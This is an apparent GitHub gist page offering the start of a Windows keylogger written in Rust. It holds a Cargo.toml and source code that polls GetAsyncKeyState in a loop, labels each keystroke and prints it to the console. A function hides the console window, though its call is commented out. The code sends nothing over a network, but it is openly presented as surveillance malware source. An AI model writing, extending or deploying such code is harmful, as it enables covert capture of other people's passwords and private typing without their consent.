Skip to content

Instantly share code, notes, and snippets.

@lukewilson2002
Created October 28, 2018 18:01
Show Gist options
  • Save lukewilson2002/1958b7269377c43a4380f7eda7fb60fd to your computer and use it in GitHub Desktop.
Save lukewilson2002/1958b7269377c43a4380f7eda7fb60fd to your computer and use it in GitHub Desktop.
Beginning of a keylogger for Windows written in Rust.
[package]
name = "keylog"
version = "0.1.0"
edition = "2018"
[dependencies]
winapi = { version = "0.3", features = ["std", "windef", "winuser"] }
kernel32-sys = "0.2.2"
user32-sys = "0.2.0"
extern crate kernel32;
extern crate user32;
extern crate winapi;
use winapi::um::winuser::*;
fn main() {
//hide_console();
loop {
for i in 8..190 {
if unsafe { user32::GetAsyncKeyState(i) } == -32767 {
let key: String = match i as i32 {
8 => String::from("[BACKSPACE]"),
13 => String::from("[RETURN]"),
32 => String::from("[SPACE]"),
VK_TAB => String::from("[TAB]"),
VK_SHIFT => String::from("[SHIFT]"),
VK_CONTROL => String::from("[CONTROL]"),
VK_ESCAPE => String::from("[ESCAPE]"),
VK_END => String::from("[END]"),
VK_HOME => String::from("[HOME]"),
VK_LEFT => String::from("[LEFT]"),
VK_UP => String::from("[UP]"),
VK_RIGHT => String::from("[RIGHT]"),
VK_DOWN => String::from("[DOWN]"),
_ => (i as u8 as char).to_string(),
};
println!("{}", key);
}
}
unsafe {
kernel32::SleepEx(1, 1); // Sleep one millisecond
}
}
}
fn hide_console() {
unsafe {
kernel32::AllocConsole();
let win = user32::FindWindowA(
std::ffi::CString::new("ConsoleWindowClass")
.unwrap()
.as_ptr(),
std::ptr::null(),
);
user32::ShowWindow(win, 0);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment